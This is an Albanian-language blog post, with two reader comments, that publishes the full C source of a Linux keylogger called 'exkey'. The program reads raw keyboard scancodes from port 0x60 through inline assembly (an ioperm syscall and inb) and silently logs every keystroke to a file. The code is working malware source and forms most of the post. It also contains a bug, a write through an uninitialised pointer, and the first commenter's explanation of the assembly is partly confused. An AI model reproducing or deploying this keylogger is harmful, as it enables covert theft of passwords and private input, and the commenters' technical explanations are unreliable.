Nje kod i lezetcem keyloggeri ne C

/* *
* exkey - excluded keylogger *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation. *
* *
* For educational purposes only. *
* *
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - *
* Written by: FuSi *
* VERSION 0.0a <fusi@excluded.org> *
* <www.excluded.org> *
* / close your eyes & dream with me / *
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - *
* *
* */
#include<sys/types.h>
#include<fcntl.h>
#include<stdio.h>
#include<time.h>
#define kp 0x60
int main(int argc,char **argv){
int fd;
int prm=0,dm=0;
struct timespec *ts;
if(argc < 2){
fprintf(stderr,"exkey - excluded keylogger\nwritten by FuSi (fusi@excluded.org)\nversion 0.0a\n\nJust type: ./exkey <logfile>\n");
exit(1);}
if((fd = open(argv[1],O_CREAT|O_WRONLY|O_TRUNC)) == -1){
perror("open()");
exit(1);}
asm("int $0x80;": :"a"(101),"b"(kp),"c"(1),"d"(1));
ts->tv_nsec = 20;
ts->tv_sec = 0;
while(1){
dm = prm;
asm("inb %%dx,%%al;":"=a"(prm):"a"(0),"d"(kp));
switch(prm){
case(2) : prm ='1' ;break;case(3) : prm ='2';break;
case(4) : prm ='3' ;break;case(5) : prm ='4';break;
case(6) : prm ='5' ;break;case(7) : prm ='6';break;
case(8) : prm ='7' ;break;case(9) : prm ='8';break;
case(10) : prm ='9' ;break;case(11) : prm ='0';break;
case(12) : prm ='ß' ;break;case(13) : prm ='´';break;
case(14) : prm ='\b';break;case(16) : prm ='q';break;
case(17) : prm ='w' ;break;case(18) : prm ='e';break;
case(19) : prm ='r' ;break;case(20) : prm ='t';break;
case(21) : prm ='z' ;break;case(22) : prm ='u';break;
case(23) : prm ='i' ;break;case(24) : prm ='o';break;
case(25) : prm ='p' ;break;case(26) : prm ='ü';break;
case(27) : prm ='+' ;break;case(28) : prm ='\n';break;
case(30) : prm ='a' ;break;case(31) : prm ='s';break;
case(32) : prm ='d' ;break;case(33) : prm ='f';break;
case(34) : prm ='g' ;break;case(35) : prm ='h';break;
case(36) : prm ='j' ;break;case(37) : prm ='k';break;
case(38) : prm ='l' ;break;case(39) : prm ='ö';break;
case(40) : prm =39 ;break;case(41) : prm =96 ;break;
case(43) : prm =92 ;break;case(44) : prm ='y';break;
case(45) : prm ='x' ;break;case(46) : prm ='c';break;
case(47) : prm ='v' ;break;case(48) : prm ='b';break;
case(49) : prm ='n' ;break;case(50) : prm ='m';break;
case(51) : prm =180 ;break;case(52) : prm =46 ;break;
case(53) : prm ='-' ;break;case(57) : prm =32 ;break;
default : prm =0 ;break;}
if(prm != dm)
write(fd,&prm,1);
asm("int $0x80"::"a"(162),"b"(ts),"c"(0));}
close(fd);}

Pjesen me te madhe te ketij kodi e kuptoj pervec kodit asm() pra pjeses ne assembler edhe se di pak nga ajo gjuhe ketu as qe po e marr vesh.Pra pak a shum therritet nje int nje funksion ose call, por cfar funksioni ka? Hajt pra ta diskutojme..

4 thoughts on “Nje kod i lezetcem keyloggeri ne C

  1. Emmm, çar te them, shume i semur ky tipi xD..
    Une per momentin po studjoj Mips dhe kjo eshte x86 gjithsesi po marrim fragmentet me interesante (pjesa tjeter jane regjistra dhe variabila)
    me asm () thirret kod ne assembly
    int $0x80 – eshte nje thirrje e sistemit (syscall) qe perdoret per te mare nje sinjal interrupt nga kernelit e kjo eshte specifike vetem per linux.
    ”inb %%dx,%%al;”
    ketu me shume zgjuarsi ka perdorur funksionin inb siç mund te perdorte inw \ dhe ne fjale te tjera nese do ja kishte qejfi ta komentonte do te shkruante:
    /* *porta* = port->read_data() >> 1; */
    Ose
    inb(MSE_DATA_PORT); [rast tjeter]
    Dhe me ate qe shkaruajtur bindem akoma me shume qe ky punon vetem ne linux.

    Vazhdojm me diçka akoma me itneresante,
    Ne arkitekturen 80×86 operatoret kontrollojn te dhenat ndermjet 16 pozicioneve te KP-1 ose KP-3 keypad dhe kjo eshte pjesa ku funksioni KEYPAD ne saje te driverit C (perderis ka perdorur C si gjuhe), bene teresisht skanimin, debug, te inputit te pozicionit ne te cilin eshte shtypur tasti dhe si funksion suporton 24 poziocione te ndryshme e po ti numurosh ato me siper jane 25 sepse ka shtuar prm=’-‘;

    Vazhdojm,
    me
    -------------------
    ts->tv_nsec = 20;
    ts->tv_sec = 0;
    -------------------

    Ka percaktuar nje fragment kohor (nanosekonda) i cili sinkronizon me clock-un e makines dhe percakton minimumin e kohes nga e cila mund te rregjistrohet nje pozicion i tastit te tastieres nga nje pozicion tjeter, por ketu nuk jam dhe aq i sigurt.
    Pjesa tjeter e kodit ka percaktuar pozicionet e tastieres.
    Ps, hidhi nje sy ketyre te çmendurve te nasas, po e dite çar dreqin eshte me ço zile 😛
    (hidhi nje sy projektit, dhe mundohu te gjesh se me ç’fare dreq algoritmi e kane encryptuar kodin, headeri eshte i qarte mjafton ta lexosh, po pjesa tjeter ama :S)
    kliko

  2. 😀
    Isha duke kerkuar kod assembly per x86 po doli per arkitekture VAX dhe me terhoqi, pastaj pashe dhe algoritem Algoritmin DCT qe e kane perdorur dhe ngeca aty..
    Me duket se eshte vulnerabel si web 😛 😉

    Ps, thnx per programin qe na solle, goxha i bukur per tu studiuar e sidomos se ky tipi ka perdorur funksionin kp me aq pak ka thene shume.
    xD.
    Cilesor -_-‘

Leave a Reply

Your email address will not be published. Required fields are marked *